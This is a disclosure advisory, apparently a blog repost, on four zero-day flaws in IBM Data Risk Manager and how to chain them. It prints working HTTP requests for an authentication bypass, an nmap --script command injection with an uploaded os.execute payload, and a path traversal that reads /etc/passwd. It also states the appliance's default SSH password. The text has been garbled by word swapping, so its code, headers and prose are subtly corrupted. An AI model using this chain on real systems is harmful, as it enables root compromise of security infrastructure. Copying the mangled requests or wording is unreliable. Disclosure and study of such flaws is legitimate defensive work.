From the supplier's website:What you don't recognize can damage you. determine and help steer clear of risks to sensitive enterprise facts that may also have an effect on enterprise methods, operations, and aggressive position. IBM records risk manager provides executives and their groups a company-consumable statistics chance handle middle that helps to discover, analyze, and visualize information-related company hazards so we can take motion to protect their company.
summarytl;dr scroll to the bottom to look video clips of the exploits in action
IBM facts chance supervisor (IDRM) is an business security software by using IBM that aggregates and gives a full view of all of the commercial enterprise safety hazards, equivalent to an electronic possibility register.The product receives guidance feeds from vulnerability scanning equipment and other chance administration tools, aggregates them and enables a consumer to examine them and operate finished evaluation.
The IDRM Linux digital appliance was analysed and it become discovered to contain four vulnerabilities, three important possibility and one excessive chance:
This advisory describes the 4 vulnerabilities and the steps vital to chain the primary three to obtain unauthenticated faraway code execution as root. in addition, two Metasploit modules that bypass authentication and take advantage of the faraway code execution and arbitrary file download are being launched to the general public.
at the time of disclosure, it's unclear if the latest edition 2.0.6 is littered with these, however surely it is, as there isn't any point out of fastened vulnerabilities in any changelog, and it turned into released before the try to report these vulnerabilities to IBM. The newest edition Agile InfoSec has access to is 2.0.three, and that one is definitely vulnerable. The reputation of edition 2.0.0 is unknown, but that edition is out-of-assist anyway.
right here's a bunch of 0 days!at the time of disclosure these vulnerabilities are "0 days". An effort turned into made to contact CERT/CC to coordinate disclosure with IBM, however IBM REFUSED to settle for the vulnerability report, and replied to CERT/CC with:
we now have assessed this document and closed as being out of scope for our vulnerability disclosure application considering that this product is only for "more suitable" assist paid for through our purchasers. here's outlined in our policy https://hackerone.com/ibm. To be eligible to take part in this software, you must now not be beneath contract to operate protection checking out for IBM supplier, or an IBM subsidiary, or IBM client inside 6 months prior to submitting a report.
this is an miraculous response through IBM, a multi billion greenback business that is promoting security enterprise products and security consultancy to big firms worldwide. They refused to settle for a free high fine vulnerability report on certainly one of their items, whereas inserting ludicrous fees like right here on their site:
When each second counts, you want a unified defense to determine, orchestrate and automate your response to threats. IBM security chance management options assist you thrive in the face of cyber uncertainty.
building a custom security plan it truly is each business-certain and aligned to your safety maturity demands a associate with deep advantage and international attain. The IBM security strategy and risk functions team is that valued companion.
it should be stated that IBM presents no bounties on their "bug bounty program", simply kudos:
after all, I did not ask or expect a bounty since I shouldn't have a HackerOne account and i do not accept as true with HackerOne's or IBM's disclosure phrases there. I conveniently wanted to disclose these to IBM responsibly and allow them to repair it.
So many questions...IDRM is an commercial enterprise security product that handles very sensitive counsel. The hacking of an IDRM equipment may lead to a full scale company compromise, because it retailers credentials to access different security equipment, not to mention it includes information about essential vulnerabilities that affect the business.
Anyway, with this out of how let's get technical...
Vulnerability details #1: Authentication passIDRM has an API endpoint at /albatross/saml/idpSelection that associates an identification provided via the attacker with a sound consumer on the gadget. The formula that handles this endpoint is proven below:
@RequestMapping(value="/saml/idpSelection", system=RequestMethod.GET) public String idpSelection(HttpServletRequest httpRequest, HttpServletResponse httpResponse, model model, @RequestParam(price="identity", required=false) String sessionId, @RequestParam(value="userName", required=false) String userName, RedirectAttributes rattrs) allUrls.size() == 0) rattrs.addAttribute("message", (Object)"Microservice illustration isn't operating or more than one illustration is working, please birth the microservice and check out once more"); return "redirect:/error"; if (allUrls.size() == 1) return "redirect:/error";because it can be considered within the code above, this formula accepts an arbitrary sessionId and username parameters from the HTTP request, and if username exists on the software's person database, it then pals that sessionId to the username.This can be done with the aid of an unauthenticated attacker with here request:
GET /albatross/saml/idpSelection?id=anything&userName=adminThe server will reply with a 302 redirect to https://localhost:8765/saml/idpSelection, but that doesn't in reality matter. This motion may no longer make feel now, however examine on.
The API endpoint /albatross/user/login is dealt with by means of the following system (best the important snippets are proven):
@RequestMapping(value="/consumer/login", method=RequestMethod.post, consumes="multipart/form-records") public A3StatusBean userLogin(HttpServletRequest httpRequest, @RequestParam(price="username", required=actual) String username, @RequestParam(value="deviceid") String deviceId, @RequestParam(price="password", required=false) String password, @RequestParam(value="sessionId", required=false) String sessionId, @RequestParam(price="clientDetails", required=proper) String clientDetails) { (...) A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCase(username); if (consumer != null) { if (sessionId != null) if (sessionId.equals(person.getSessionId())) (...) LOGGER.log(A3Constants.A3LOG, "Session is matching, so person is valid"); response.setRequestedUrl(A3Utils.getWebURLWithQueryString((HttpServletRequest)httpRequest)); response.setHttpStatus(Integer.toString(HttpStatus.ok.price())); response.setServerCode(Integer.toString(A3FullStackResponseConstants.SUCCESS)); if (this.userMap.get(consumer.getUserId()) == null) consumer.setSessionId(null); String randomPwd = UUID.randomUUID().toString(); person.setPassword(A3BcryptUtil.getBCryptHash(randomPwd)); this.a3repository.getA3userService().store((Object)person); this.userMap.put(user.getUserId(), randomPwd); response.setData((Object)randomPwd); else String tPassword = this.userMap.get(consumer.getUserId()); person.setPassword(A3BcryptUtil.getBCryptHash(tPassword)); this.a3repository.getA3userService().save((Object)consumer); response.setData((Object)tPassword); return response; (...)The formula listed above takes the username and sessionId parameters, and exams if username exists in the database and sessionId is associated with that username. whether it is, the utility returns a newly generated random password for that username.within the previous request, the "admin" person was associated with the sessionId "whatever". So now if we function here request:
publish /albatross/user/login HTTP/1.1 Host: 10.0.10.25:8443 user-Agent: Mozilla/4.0 (suitable; MSIE 6.0; home windows NT 5.1) content material-type: multipart/kind-statistics; boundary=_Part_224_2171658712_4042463386 content-size: 509 Connection: close --_Part_224_2171658712_4042463386 content material-Disposition: kind-statistics; name="deviceid" --_Part_224_2171658712_4042463386 content-Disposition: kind-information; name="password" < ... any string may also be sent right here ... > --_Part_224_2171658712_4042463386 content material-Disposition: kind-statistics; identify="username" admin --_Part_224_2171658712_4042463386 content material-Disposition: form-records; name="clientDetails" --_Part_224_2171658712_4042463386 content material-Disposition: form-records; name="sessionId" whatever --_Part_224_2171658712_4042463386--The server will respond with:
"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/consumer/login","information":"b6e1a82b-3f33-4297-86e1-ca780d16cb02"... which is now a legitimate password for the "admin" consumer, as the outdated snippet of code indicates.
So now let's are attempting and authenticate using that as a password:
put up /albatross/person/login HTTP/1.1 Host: 10.0.10.25:8443 user-Agent: Mozilla/four.0 (appropriate; MSIE 6.0; home windows NT 5.1) content-category: multipart/kind-records; boundary=_Part_122_4062871012_3985537084 content material-size: 435 Connection: close --_Part_122_4062871012_3985537084 content material-Disposition: form-information; name="deviceid" --_Part_122_4062871012_3985537084 content-Disposition: form-records; name="password" b6e1a82b-3f33-4297-86e1-ca780d16cb02 --_Part_122_4062871012_3985537084 content material-Disposition: kind-information; name="username" admin --_Part_122_4062871012_3985537084 content-Disposition: form-data; identify="clientDetails" --_Part_122_4062871012_3985537084--To which the server responds with:
"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","statistics":"access_token":"3b5b0fa6-2d46-4104-ba38-54a077d05a93","token_type":"bearer","expires_in":28799,"scope":"study write"Success! we have a legitimate Bearer administrative token that can also be used to access quite a lot of API. it's also feasible to login as a traditional net consumer on the /albatross/login endpoint, so that it will yield an authenticated cookie instead of a token, allowing access to the internet administration console. in spite of everything, as this suggests, authentication is now completely bypassed and we have full administrative entry to IDRM.
it'll be noted that here is a destructive action - the old admin password can be invalid, and simplest the brand new password which is generated above can be used to login as an admin. So this works just a little like a "password reset", notwithstanding it is not named as such.
#2: Command InjectionIDRM exposes an API at /albatross/restAPI/v2/nmap/run/scan that permits an authenticated person to perform nmap scans. The name stack and primary code is pasted below:
@RequestMapping(cost="/run/nmap/scan", formula=RequestMethod.post) public A3StatusBean runNmapScan(HttpServletRequest httpRequest, @RequestParam(cost="transaction", required=false) String transactionData, @RequestParam(cost="accessToken") String accessToken, @RequestParam(price="userId", required=false) String userName) { (...) runNmapScan invokes A3CustomScriptScanTask.run() A3CustomScriptScanTask.run() invokes A3IpScannerUtils.runNmapOnIpAddress() public static A3ExtAppNmapHostDTO runNmapOnIpAddress(String nmapPath, String nmapOptions, String ipAddress, String portRange) throws IOException, InterruptedException String[] nmapOpts; A3ExtAppNmapHostDTO nmapHost = null; LOGGER.log(A3EurekaConstants.OPERATIONAL, "operating nmap Scan"); ArrayList<String> command = new ArrayList<String>(); command.add(nmapPath); for (String nmapOpt : nmapOpts = nmapOptions.break up(" ")) command.add(nmapOpt); command.add(ipAddress); process method = null; if (portRange != null && !portRange.equals("")) command.add("-p"); command.add(portRange); method = Runtime.getRuntime().exec(command.toArray(new String[command.size()])); else manner = Runtime.getRuntime().exec(command.toArray(new String[command.size()])); (...) (...)the total name chain is not displayed above for brevity, however nmap receives invoked with an ipAddress offered by means of the attacker in a multipart/kind-information publish request to the /albatross/restAPI/v2/nmap/run/scan API endpoint. we can inject anything we desire during this parameter but, as seen above, this receives put right into a String array it really is passed to Runtime.getRuntime().exec(). As this feature works in an analogous option to C's execve(), it isn't possible to operate command injection in a parameter.
As listed in GTFObins, having access to nmap allows for working arbitrary commands if we are able to upload a script file and then move that as an argument to nmap with "--script=<FILE>". seeing that we can not inject commands in a parameter, our highest quality chance is to write down the commands to a file and pass that within the --script argument to nmap.
youngsters, to achieve code execution in this way we nevertheless deserve to be in a position to add a file. fortuitously, there is a technique that tactics patch files and accepts arbitrary file records, saving it to "/home/a3user/agile3/patches/<FILE>". The system is just too long and verbose to paste right here, nevertheless it is supposed to settle for a patch file, manner it and observe it. There are several bugs in edition 2.0.2 that cause the formulation to abort early and fail to system the file. still, the file is uploaded and saved on disk even after the formulation aborts. In different models, there is some processing executed, however once more the file is stored on disk after the components terminates.
so as to upload a file, we effectively deserve to ship the following request:
put up /albatross/add/patch HTTP/1.1 Host: 10.0.10.25:8443 person-Agent: Mozilla/4.0 (compatible; MSIE 6.0; home windows NT 5.1) Cookie: JSESSIONID=D68124D3EFD66417B4C6B0950E1891C0; CSRF-TOKEN: 4f88a837-5f12-4d15-a0d5-57b24de17176 content material-category: multipart/kind-records; boundary=_Part_387_3982485447_258275719 content material-size: 330 Connection: close --_Part_387_3982485447_258275719 content material-Disposition: kind-statistics; name="patchFiles"; filename="owned.enc" content-classification: software/octet-circulation content-transfer-Encoding: binary os.execute("/usr/bin/whoami > /tmp/trying out") --_Part_387_3982485447_258275719--The server will reply with a 200 ok but will encompass a JSON message saying an error has occured. here's beside the point, as the file changed into nonetheless uploaded to disk.eventually we inject our parameters and run nmap with here request:
submit /albatross/restAPI/v2/nmap/run/scan/18 HTTP/1.1 Host: 10.0.10.25:8443 consumer-Agent: Mozilla/4.0 (appropriate; MSIE 6.0; home windows NT 5.1) Authorization: Bearer 3b5b0fa6-2d46-4104-ba38-54a077d05a93 content-category: multipart/kind-facts; boundary=_Part_841_3176682485_2250831758 content-size: 440 Connection: shut --_Part_841_3176682485_2250831758 content material-Disposition: form-facts; identify="clientDetails" --_Part_841_3176682485_2250831758 content material-Disposition: kind-statistics; identify="class" 1 --_Part_841_3176682485_2250831758 content-Disposition: kind-facts; name="portRange" --_Part_841_3176682485_2250831758 content-Disposition: form-records; name="ipAddress" --script=/domestic/a3user/agile3/patches/owned.enc --_Part_841_3176682485_2250831758--this could execute "nmap --script=/home/a3user/agile3/patches/owned.enc" and run our command:
[a3user@idrm-server ~]$ cat /home/a3user/agile3/patches/owned.enc os.execute("/usr/bin/whoami > /tmp/trying out") [a3user@idrm-server ~]$ cat /tmp/checking out a3userword that every one of those requests require an authenticated session as an administrator - but as proven in #1, this can also be easily bypassed. The exact stream to achieve full unauthenticated far off code execution is a bit extra convoluted, as we need to authenticate to each the net interface and the API, however the fundamental workings have been described above.
#three: Insecure Default Passwordthe administrative user within the IDRM virtual appliance is "a3user". This consumer is allowed to login by means of SSH and run sudo instructions, and it is installation with a default password of "idrm".
When combined with vulnerabilities #1 and #2, this makes it possible for an unauthenticated attacker to achieve far flung code execution as root on the IDRM virtual appliance, leading to complete system compromise.
while IDRM forces the executive user of the web interface ("admin") to alternate its password upon first login, it does not require the identical of "a3user".
#4: Arbitrary File download details:IDRM exposes an API at /albatross/eurekaservice/fetchLogFiles that enables an authenticated user to down load log data from the gadget. youngsters, the logFileNameList parameter contains a simple listing traversal flaw that allows for an attacker to download any file off the device.The code path is convoluted, and won't be shown here for brevity, but exploitation (and finding this flaw) is awfully basic:
post /albatross/eurekaservice/fetchLogFiles HTTP/1.1 Host: 10.0.10.25:8443 consumer-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 accept: */* accept-Language: en-US,en;q=0.fiveaccept-Encoding: gzip, deflate Referer: https://10.0.10.25:8443/albatross/homecontent-type: software/json CSRF-TOKEN: 93e0dbe1-88e5-450e-ab2c-7c614b709876 content material-size: 93 Cookie: JSESSIONID=ABFFB7EB959FAC45743AC2889960DFD0 Connection: close "instanceId":"local_host","logLevel":"DEBUG","logFileNameList":"../../../../../etc/passwd,"Response:
HTTP/1.1 200 Strict-Transport-security: max-age=31536000 ; includeSubDomains X-body-alternatives: DENY X-content material-classification-options: nosniff X-XSS-protection: 1; mode=block Cache-manage: no-cache, no-store, need to-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT content-Disposition: attachment; filename=ms_logs_admin.zip settle for-degrees: bytes X-content-category-options: nosniff content-category: software/zip content-size: 550 Date: Wed, 17 Oct 2018 eleven:forty six:forty five GMT Connection: close <ZIP file containing /and many others/passwd>When mixed with #1, this allows for an unauthenticted attacker to download any file readable by way of "a3user" off the system. it'll be referred to that edition 2.0.1 isn't susceptible, however versions bigger than 2.0.1 are. making an attempt to download an arbitrary file the usage of this formulation will outcome in a HTTP 500 error with a "File security exception" message.
Exploitation abstractby using combining vulnerabilities #1, #2 and #3, an unauthenticated person can obtain far flung code execution as root. A Metasploit module enforcing this RCE chain changed into released and the asciinema clip beneath suggests it in motion:
If vulnerabilities #1 and #4 are combined, it be possible for an unauthenticated attacker to down load arbitrary files off the gadget. A 2nd Metasploit module enforcing this file download chain changed into released, and the asciinema clip below indicates it in motion:
repair / solutions:IBM refused to renowned this vulnerability document, so definitely may not fix these vulnerabilities. make sure you uninstall the product so it doesn't endanger your network / enterprise.
DisclaimerPlease notice that Agile information security (Agile InfoSec) relies on information provided by way of the supplier when checklist fixed models or products. Agile InfoSec does not assess this assistance, except when notably mentioned in this advisory or when requested or reduced in size with the aid of the supplier to accomplish that.Unconfirmed dealer fixes might be ineffective or incomplete, and it is the seller's responsibility to be sure the vulnerabilities discovered through Agile information security are resolved appropriately.Agile counsel protection constrained does not accept any accountability, economic or otherwise, from any cloth losses, lack of existence or reputational loss on account of misuse of the information or code contained or outlined during this advisory. it is the dealer's responsibility to ensure their products' security earlier than, right through and after liberate to market.
LicenseAll suggestions, code and binary information during this advisory is released to the public below the GNU ordinary Public License, version three (GPLv3).For advice, code or binary records obtained from other sources that has a license which is incompatible with GPLv3, the fashioned license prevails.
No comments:
Post a Comment